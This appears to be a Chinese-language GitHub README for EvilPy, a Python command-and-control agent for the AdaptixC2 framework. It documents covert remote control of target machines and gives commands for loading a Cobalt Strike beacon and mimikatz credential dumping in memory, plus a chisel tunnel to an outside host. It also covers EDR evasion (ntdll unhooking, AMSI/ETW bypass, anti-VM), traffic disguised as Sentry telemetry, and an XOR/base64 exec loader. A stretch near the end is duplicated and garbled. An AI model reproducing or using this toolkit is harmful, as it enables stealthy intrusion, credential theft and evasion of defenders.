Art-Fakt/EvilPy
GitHub: Art-Fakt/EvilPy
一款基于 Python 与 Go 的跨平台 C2 代理,利用构建时混淆与内存加载技术实现隐蔽的命令与控制。
Stars: 3 | Forks: 0
# EvilPy — 适用于 AdaptixC2 的 Python C2 Agent
EvilPy 是一个专为 [Adaptix Framework](https://github.com/Adaptix-Framework) 设计的**跨平台基于 Python 的 C2 agent**。它可以生成独立的 `.py` payload,并提供丰富的编译时配置选项,用于免杀、反分析和代码混淆——所有这些都可以通过 AdaptixC2 GUI 进行控制。
[-e export]` | 在内存中加载 DLL,并可选择调用导出的函数 | Windows |
| `memload_pe` | `memload_pe [-c cmdline]` | 在内存中执行非托管 EXE,支持可选的命令行参数 | Windows |
**用法示例:**
```
# 加载 Cobalt Strike beacon DLL 并调用其 export
memload_dll beacon.dll -e StartW
# 加载 DLL 但不调用任何 export(仅执行 DllMain)
memload_dll payload.dll
# 带参数在内存中执行 mimikatz
memload_pe mimikatz.exe -c "privilege::debug sekurlsa::logonpasswords exit"
# 在内存中执行 Go binary
memload_pe chisel.exe -c "client 10.0.0.1:8080 R:socks"
```
### 工作原理
`memmodule.py` 模块在构建时被嵌入到 agent 中(压缩 + base64 编码)。首次使用 `memload_*` 命令时,该模块会被解码并加载到 Python 解释器中。随后,加载器会执行以下操作:
1. 从原始字节缓冲区解析 PE 头(DOS、NT、节)
2. 使用 `VirtualAlloc` 在首选的映像基址(或其他地址)分配内存
3. 将各个节复制到正确的虚拟地址
4. 如果加载到了不同的基址,则执行基址重定位
5. 解析并修补导入地址表 (IAT)
6. 设置正确的节权限(无 RWX 页面)
7. 执行 TLS 回调
8. 调用入口点(DLL 调用 DllMain,EXE 调用 main/WinMain)
### 免杀增强
与原始的 PythonMemoryModule 相比,该实现包含以下几项改进:
| 技术 | 描述 |
|-----------|-------------|
| **动态 API 解析** | 所有的 Windows API (`VirtualAlloc`, `VirtualProtect`, `GetProcAddress` 等) 均通过手动遍历 `kernel32.dll` 的 PE 导出表来解析,从而绕过 IAT 级别的 EDR 钩子 |
| **ntdll 脱钩** | 从 `System32` 读取干净的 `ntdll.dll`,找到 `.text` 节,并将其还原覆盖到内存中被挂钩的版本——在任何 PE 加载之前移除 EDR 内联钩子 |
| **抹除 PE 头** | 成功加载后,分配的内存中的 MZ/PE 头将被清零,防止内存扫描器通过 PE 签名扫描发现已加载的模块 |
| **ExitProcess → ExitThread** | 对于 EXE 执行,`ExitProcess` 会被临时修补并重定向到 `ExitThread`,这样加载的 EXE 会终止其自身的线程,而不会杀死 Python agent 进程。执行完毕后会恢复原始字节。 |
| **PEB 命令行篡改** | 对于 EXE 参数传递,通过 `NtQueryInformationProcess` (纯 ctypes) 篡改 PEB 的 `ProcessParameters→CommandLine`,并在 EXE 读取后将其恢复 |
| **无外部依赖** | 用一个约 650 行的独立实现(仅使用 `ctypes` 和 `struct`)替代了 7400 行的 `pefile` 库和整个 `PythonForWindows` 模块 |
| **正确的 PE32/PE32+ 处理** | 使用 `_pack_ = 1` 和特定于架构的可选头定义,避免了原版在 x64 上出现的对齐问题 |
| **延迟加载** | memmodule 代码仅在首次使用 `memload_*` 命令时才被解码和执行——否则保持压缩+base64 状态,从而减少静态分析攻击面 |
### 局限性
- **仅限 Windows** —— 这些命令需要通过 `ctypes.windll` 调用 Windows API
- **架构必须匹配** —— 64 位 Python 只能加载 64 位 PE;32 位 Python 只能加载 32 位 PE
- **不支持 .NET 程序集** —— 仅支持非托管(原生)DLL 和 EXE
- **命令行传递** —— PEB 篡改适用于大多数 Go 编译的二进制文件和 mimikatz,但可能不适用于所有 MinGW/MSVC 编译的二进制文件(参见 [PythonMemoryModule 文档](https://github.com/naksyn/PythonMemoryModule#commandline-parameters-passing---partial-support))
- **检测** —— 虽然免杀技术减少了痕迹,但未与磁盘文件关联的私有提交内存仍然是 MemoryModule 加载方式的典型特征
## 内存加载 Python 模块
EvilPy 实现了一个自定义的 PEP 302 导入钩子 (`CFinder`),允许**完全从内存中**加载任意 Python 库。模块以 zip 归档形式(例如,由 `pip download` 或手动打包生成)提供,经过 base64 编码后,通过 `load_module` 命令传输给 agent。一旦加载,该模块就可以像任何标准库一样被导入——绝不会向磁盘写入任何文件。
这参考了 Medusa 和 Empire 进行内存模块加载的相同机制。
### 命令
| 命令 | 描述 |
|---------|-------------|
| `load_module` | 解码 base64 zip,将其存储在内存中,并在 `sys.meta_path` 中注册一个 `CFinder` |
| `unload_module` | 从 `sys.meta_path` 移除 finder,从 `moduleRepo` 和 `sys.modules` 中清除 |
| `list_modules` | 列出所有当前加载在内存中的模块 |
### 工作流
```
# 1. 将库打包为 zip(单文件 module)
zip requests_mod.zip requests.py
# 2. 将库打包为 zip(包含 submodules 的 package)
cd site-packages && zip -r impacket.zip impacket/
# 3. 通过 AdaptixC2 GUI 发送:
# load_module impacket impacket.zip
# 4. 现在可在后续的 run/eval_code 任务中使用:
# import impacket
# from impacket import smb
# 5. 完成后卸载
# unload_module impacket
```
### 工作原理
1. 操作者发送 `load_module `:zip 字节经过 base64 解码,在内存中作为 `zipfile.ZipFile` 打开,并存储在 `moduleRepo[name]` 中。
2. 为该仓库名称创建一个 `CFinder` 实例,并将其附加到 `sys.meta_path`。
3. 当 Python 随后执行 `import ` (或 `import .submod`) 时,`CFinder.find_module()` 探测会成功,并且 `CFinder.load_module()` 会直接从内存中的 zip 编译并执行源代码——绝对不会触碰磁盘。
4. `unload_module` 会逆转这一切:从 `sys.meta_path` 移除 `CFinder`,从 `moduleRepo` 删除 `zipfile.ZipFile`,并从 `sys.modules` 中移除所有匹配的键。
### 打包提示
| 使用场景 | 命令 |
|----------|---------|
| 单个 `.py` 文件 | `zip mymod.zip mymod.py` |
| 单个 package 目录 | `cd site-packages && zip -r pkg.zip pkg/` |
| `pip download` (wheel → zip) | `pip download requests -d /tmp/dl --no-deps`,然后解压 `.whl` (它就是一个 zip) |
| 纯 Python package | 任何仅包含 `.py` 文件的 package 都可以;C 扩展 (`.so`/`.pyd`) 无法加载 |
## 内存执行脚本
`load_script` 会将一个 `.py` 文件传输到 agent,并通过 `exec()` 完全在内存中执行——不会向磁盘写入任何内容。该脚本在 agent 全局命名空间的副本中运行,因此它可以完全访问已加载的模块(通过 `load_module`)、agent 全局变量以及目标系统可用的任何标准库。
脚本中打印到 `stdout`/`stderr` 的输出会被捕获,并作为任务结果返回。
### 用法
```
load_script myscript.py
```
### 工作流
```
# 1. 编写一个独立的 Python 脚本
cat > recon.py << 'EOF'
import socket, platform, os
print("hostname:", socket.gethostname())
print("platform:", platform.platform())
print("cwd:", os.getcwd())
EOF
# 2. 通过 AdaptixC2 GUI 发送:
# load_script recon.py
# -> 输出结果直接在任务结果中返回
# 3. 与 load_module 结合以实现高级用途:
# load_module impacket impacket.zip # 先加载 lib
# load_script smb_enum.py # 脚本现在可以:import impacket
```
### 工作原理
1. 脚本字节在 agent 端进行 base64 解码。
2. `stdout` 和 `stderr` 被临时重定向到内存缓冲区。
3. 脚本通过 `compile()` 编译,并在 `globals()` 的副本中通过 `exec()` 执行——因此可以访问所有先前加载的模块和 agent 状态。
4. 捕获的输出被恢复并作为任务结果返回。
5. 脚本内部引发的任何异常都会被捕获,并作为错误返回。
### 与 `run` 的对比
| | `run` (subprocess) | `load_script` |
|---|---|---|
| 执行方式 | 生成子进程 | 进程内 `exec()` |
| 磁盘写入 | 取决于方式 | 从不 |
| 访问 agent 状态 | 否 | 是(共享全局变量) |
| 输出捕获 | stdout/stderr | stdout/stderr (内存中) |
| 支持已加载的模块 | 否 | 是 |
## 安装说明
### 自动安装(推荐)
```
cd Custom_Agents/EvilPy
./setup_evilpy.sh --ax /path/to/AdaptixC2
```
该脚本执行以下步骤:
1. 清理之前的任何安装
2. 将 `evilpy_agent/` 和 `listener_evilpy_http/` 复制到 `AdaptixServer/extenders/`
3. 在 Go workspace 中注册它们 (`go work use` + `go work sync`)
4. 将两个插件构建为共享对象 (`.so`)
5. 将分发文件 (`.so` + 配置 + 模板) 部署到 `dist/extenders/`
#### 选项
| 标志 | 描述 |
|------|-------------|
| `--ax ` | AdaptixC2 根目录的路径 **(必填)** |
| `--action ` | `all` (默认), `agent`, 或 `listener-http` |
| `--pull` | 在安装前运行 `git pull` |
#### 示例
```
# 完整安装(agent + listener)
./setup_evilpy.sh --ax /opt/AdaptixC2
# 仅 agent 插件
./setup_evilpy.sh --ax /opt/AdaptixC2 --action agent
# 仅 HTTP listener + 拉取最新更改
./setup_evilpy.sh --ax /opt/AdaptixC2 --action listener-http --pull
```
### 手动安装
```
# 1. 构建 agent 插件
cd evilpy_agent && make && cd ..
# 2. 构建 listener 插件
cd listener_evilpy_http && make && cd ..
# 3. 部署到 dist(复制 dist/ 中的内容,而不是 dist/ 文件夹本身)
mkdir -p /path/to/AdaptixC2/dist/extenders/evilpy_agent
cp -r evilpy_agent/dist/* /path/to/AdaptixC2/dist/extenders/evilpy_agent/
mkdir -p /path/to/AdaptixC2/dist/extenders/listener_evilpy_http
cp -r listener_evilpy_http/dist/* /path/to/AdaptixC2/dist/extenders/listener_evilpy_http/
# 4. 在 Go workspace 中注册(如果从源码构建 server)
cd /path/to/AdaptixC2/AdaptixServer
go work use extenders/evilpy_agent
go work use extenders/listener_evilpy_http
go work sync
```
### Profile 注册
将两个 extender 添加到您的 AdaptixC2 profile (`profile.yaml` 或 `profile.json`) 中:
```
extenders:
- "extenders/listener_evilpy_http/config.yaml"
- "extenders/evilpy_agent/config.yaml"
```
## 用法
1. **启动 AdaptixC2 服务器**,并使用更新后的 profile
2. 从 Adaptix Client GUI **创建一个 EvilPyHTTP listener**:
- 设置 **Bind Host** 和 **Port** (listener 监听的地址)
- 设置 **Callback Address** (agent 将要连接的地址,格式:`host:port`)
3. 从 agent 构建菜单中**生成 payload**:
- 选择 `evilpy` agent 类型
- 选择 EvilPyHTTP listener
- 通过 GUI 配置 sleep、jitter、免杀选项
- 点击 **Build**——下载 `agent.py`
4. 在目标机器上**执行 agent**:
python3 agent.py
5. 使用可用的命令从 Adaptix Client 控制台与 agent **进行交互**
## 命令
| 命令 | 语法 | 描述 |
|---------|--------|-------------|
| `cat` | `cat ` | 读取文件内容 |
| `cd` | `cd ` | 更改 agent 的工作目录 |
| `ls` | `ls [path]` | 列出目录内容 (默认为当前工作目录)。显示权限、修改时间、大小。 |
| `pwd` | `pwd` | 打印当前工作目录 |
| `run` | `run [args]` | 通过配置的执行方式执行系统命令 |
| `download` | `download ` | 从目标机器下载文件 (base64 编码传输) |
| `upload` | `upload ` | 上传文件到目标机器 |
| `env` | `env` | 列出所有环境变量 (已排序) |
| `whoami` | `whoami` | 获取用户信息:用户名、UID、GID、主机名、平台、PID |
| `ps` | `ps` | 列出正在运行的进程。Linux:读取 `/proc/`。Windows:使用 `tasklist`。 |
| `sleep` | `sleep [jitter]` | 更改回连间隔 (秒) 以及可选的抖动百分比 (0-100) |
| `exit` | `exit` | 发送最后一次回连并终止 agent |
| `memload_dll` | `memload_dll [-e export]` | 在内存中加载 DLL,并可选择调用导出的函数 (Windows) |
| `memload_pe` | `memload_pe [-c cmdline]` | 在内存中执行非托管 PE,支持可选的参数 (Windows) |
| `load_module` | `load_module ` | 将 zip 归档中的 Python 库加载到 agent 内存中——使其可以通过 `import ` 导入 |
| `unload_module` | `unload_module ` | 移除先前加载的内存模块,并从 `sys.modules` 中清除 |
| `list_modules` | `list_modules` | 列出当前所有加载在内存中的 Python 模块 |
| `load_script` | `load_script ` | 传输 Python 脚本并通过 `exec()` 完全在内存中执行——输出作为任务结果返回 |
## 通信协议
### 流量伪装
所有通信都被伪装为 **Sentry SDK 遥测**(错误监控)。从网络角度来看,请求看起来就像是合法的 Sentry envelope 提交。
### 请求格式 (Agent → Listener)
```
POST / HTTP/1.1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; ...) Chrome/120.0.0.0 ...
[Optional junk X-* headers]
```
**URI 路径行为:**
实际请求路径根据编译时的配置而变化:
| 配置 | 行为 | 示例 |
|---------------|----------|----------|
| **默认** (`obf_random_uri = false`,无自定义路径) | 使用默认路径:`/api/v2/embedded/{id}` | `POST /api/v2/embedded/a3f7b2` |
| **自定义路径** (`custom_uri_path = "myapp/telemetry"`) | 使用配置的路径:`/{custom_path}/{id}` | `POST /myapp/telemetry/a3f7b2` |
| **随机 URI** (`obf_random_uri = true`) | 每次请求从 6 个预定义模式中随机选择 | `POST /ep/a3f7b2/sync`
`POST /cdn/a3f7b2/analytics`
`POST /v1/metrics/a3f7b2/collect`
`POST /health/a3f7b2/check`
`POST /static/a3f7b2/resource`
`POST /api/v2/a3f7b2/telemetry` | POST body (3 行的 Sentry envelope): | 行 | 内容 | |------|---------| | **1** | `{"event_id":"","sent_at":"...","sdk":{...}}` — 心跳:水印 (4B) + agent ID (4B) + 可选的初始数据,全部为十六进制编码 |
| **2** | `{"type":"transaction"}` — Sentry item header |
| **3** | `{"contexts":{...},"spans":[{"description":"",...}],...}` — 位于 `spans[0].description` 的任务结果,十六进制编码 |
### 响应格式 (Listener → Agent)
```
{"id": ""}
```
任务为十六进制编码的 JSON 数组:
```
[{"task_id": "abc12345", "task_data": ""}]
```
### 编码管道
数据根据编译时的配置流经各个编码层:
```
Sending (agent): raw JSON → [zlib compress] → [XOR encrypt] → [base64 encode] → hex → Sentry envelope
Receiving (server): hex decode → [base64 decode] → [XOR decrypt] → [zlib decompress] → raw JSON
```
方括号 `[]` 表示由配置标志启用的可选层。编码配置会在初始注册期间发送给服务器,以便其知道应该逆转哪些层。
### 初始注册
在首次回连时,agent 会将身份数据附加到心跳中:
```
{
"platform": "Linux",
"hostname": "target-host",
"username": "user",
"internal_ip": "192.168.1.100",
"pid": 12345,
"uid": 1000,
"enc": {
"xor": false,
"b64": true,
"compress": false,
"xor_key": ""
}
}
```
`enc` 块在服务器端作为 agent 的会话密钥进行存储,允许 `Decrypt()` 方法在随后的所有数据中逆转正确的编码层。
## 编译时混淆
当在构建 GUI 中启用**字符串拼接**、**Zlib 压缩**或 **Marshal 编码**时,输出的 agent 会被转换为一个紧凑的加载器:
### 第 1 层:XOR + 压缩 + Base64
整个 `agent.py` 会被:
1. Zlib 压缩 (如果启用了 compress 或 marshal)
2. XOR 加密(使用随机的 32 字节密钥)
3. Base64 编码
结果:一个简单的引导脚本:
```
#!/usr/bin/env python3
import base64 as _b, zlib as _z
_key = _b.b64decode(b'')
_dat = _b.b64decode(b'')
_pay = bytes([_dat[i]^_key[i%len(_key)] for i in range(len(_dat))])
exec(_z.decompress(_pay))
```
### 第 2 层:Marshal (可选的第二次包装)
如果启用了 **Marshal 编码**,第 1 层的引导脚本本身会使用另一个随机的 24 字节密钥,再经过一轮压缩 + XOR + base64 的包装。这创建了一个双重包装的加载器,使其更难进行静态分析。
所有的变量名都是随机生成的 9 字符字符串(例如,`_abcdefgh`)。
## 项目结构
```
EvilPy/
├── setup_evilpy.sh # Automated installation script
├── README.md # This file
│
├── evilpy_agent/ # Agent extender plugin
│ ├── config.yaml # Plugin registration
│ │ agent_name: evilpy
│ │ watermark: e1b0a666
│ │ listeners: [EvilPyHTTP]
│ ├── ax_config.axs # UI definition
│ │ RegisterCommands() — 18 commands
│ │ GenerateUI() — build options GUI
│ ├── go.mod # Go module
│ ├── pl_main.go # Plugin entry point
│ │ InitPlugin, Encrypt, Decrypt,
│ │ PackTasks, ProcessData, etc.
│ ├── pl_agent.go # Core logic
│ │ AgentGenerateBuild() — template injection
│ │ obfuscateScript() — build-time obfuscation
│ │ CreateAgentData() — agent registration
│ │ CreateTask() — task creation
│ │ ProcessTasksResult() — result parsing
│ ├── Makefile # go build -buildmode=plugin
│ └── src_evilpy/
│ ├── agent.py # Python agent template
│ │ {{CALLBACK_HOST}}, {{SLEEP}}, etc.
│ └── memmodule.py # Enhanced PE memory loader
│ Self-contained, no dependencies
│ Embedded at build time (zlib+b64)
│
└── listener_evilpy_http/ # HTTP Listener extender plugin
├── config.yaml # Plugin registration
│ listener_name: EvilPyHTTP
│ type: external, protocol: http
├── ax_config.axs # Listener UI (host, port, callback)
├── go.mod # Go module
├── pl_main.go # Plugin entry point
├── pl_listener.go # HTTP server (gin framework)
│ Routes: 6 predefined + custom URI support
│ parseBeatAndData() — Sentry envelope parser
│ processRequest() — agent registration + tasking
└── Makefile # go build -buildmode=plugin
```
## 配置参考
### Agent config.yaml
```
extender_type: "agent"
extender_file: "agent_evilpy.so"
ax_file: "ax_config.axs"
agent_name: "evilpy"
agent_watermark: "e1b0a666"
listeners:
- "EvilPyHTTP"
multi_listeners: false
```
### Listener config.yaml
```
extender_type: "listener"
extender_file: "evilpy_http.so"
ax_file: "ax_config.axs"
listener_name: "EvilPyHTTP"
listener_type: "external"
protocol: "http"
```
### 构建选项参考 (GUI → AgentConfig)
| 参数 | 类型 | 默认值 | 描述 |
|-----------|------|---------|-------------|
| `sleep` | string | `"5"` | 回连间隔(秒) |
| `jitter` | int | `10` | 抖动百分比 (0-100) |
| `obf_base64` | bool | `true` | 对通信进行 Base64 编码 |
| `obf_xor` | bool | `false` | XOR 加密流量 |
| `obf_junk_headers` | bool | `false` | 注入随机的 HTTP 头 |
| `obf_random_ua` | bool | `true` | 轮换 User-Agent 字符串 |
| `obf_random_uri` | bool | `false` | 随机化回连 URI 路径 |
| `custom_uri_path` | string | `"api/v2/embedded"` | 禁用 URI 随机化时使用的自定义 URI 路径前缀 |
| `obf_env_keying` | bool | `false` | 环境绑定(主机名锁定) |
| `key_hostname` | string | `""` | 用于环境绑定的目标主机名 |
| `inject_method` | string | `"exec (subprocess)"` | 代码执行方式 |
| `obf_string_concat` | bool | `false` | 编译时字符串拆分 |
| `obf_marshal` | bool | `false` | 双层混淆 |
| `obf_compress` | bool | `false` | Zlib 压缩 payload |
| `anti_vm` | bool | `false` | 启动时进行反虚拟机检测 |
| `anti_debug` | bool | `false` | 启动时进行反调试器检查 |
| `sandbox_sleep` | bool | `false` | 沙箱时间规避 |
| `startup_delay` | int | `0` | 初始化前的延迟(秒)(0-300) |
| `amsi_bypass` | bool | `false` | AMSI bypass (仅限 Windows) |
| `etw_bypass` | bool | `false` | ETW bypass (仅限 Windows) |
| `proc_masking` | bool | `false` | 进程名伪装 (Linux) |
| `proc_fake_name` | string | `""` | 伪造的进程名 (默认: `/usr/sbin/apache2`) |
| `self_delete` | bool | `false` | 从磁盘删除脚本 |
| `kill_date_enabled` | bool | `false` | 启用失效日期 |
| `kill_date` | string | `""` | 自动终止日期 (`DD.MM.YYYY`) |
| `working_hours_enabled` | bool | `false` | 启用工作时间限制 |
| `working_hours` | string | `""` | 活动时间窗口 (`HH:MM-HH:MM`) |
## 故障排除
### Agent 未回连
1. **Listener 未启动** —— 验证 Adaptix Client 中是否正在运行 EvilPyHTTP listener
2. **回连地址错误** —— 目标机器必须能够访问 listener 中的 `callback_address`。使用 `curl -X POST http://:/` 检查连通性 (listener 接受多个路由上的请求)
3. **防火墙** —— 确保目标机器和服务器之间的端口已开放
4. **触发反分析** —— 如果在虚拟机中运行,反虚拟机检测将导致 agent 静默退出。如果附加了调试器,反调试同样会触发;如果主机名不匹配,环境绑定也会触发。
5. **失效日期已过** —— 如果设置了 `kill_date_enabled` 并且日期已过,agent 会立即退出
6. **工作时间** —— 如果不在配置的工作时间内,agent 将处于休眠状态而不进行连接
##环境要求
| 组件 | 要求 |
|-----------|-------------|
| **目标机器** | Python 3.6+ (Linux 或 Windows) |
| **构建环境** | Go 1.23+, AdaptixC2 Framework |
| **Listener** | 无外部依赖 (通过 gin 嵌入在 AdaptixC2 服务器中) |
`POST /cdn/a3f7b2/analytics`
`POST /v1/metrics/a3f7b2/collect`
`POST /health/a3f7b2/check`
`POST /static/a3f7b2/resource`
`POST /api/v2/a3f7b2/telemetry` | POST body (3 行的 Sentry envelope): | 行 | 内容 | |------|---------| | **1** | `{"event_id":"
标签:C2框架, DNS 反向解析, Python, 免杀, 内存加载, 安全学习资源, 安全工具, 无后门, 红队工具, 网络信息收集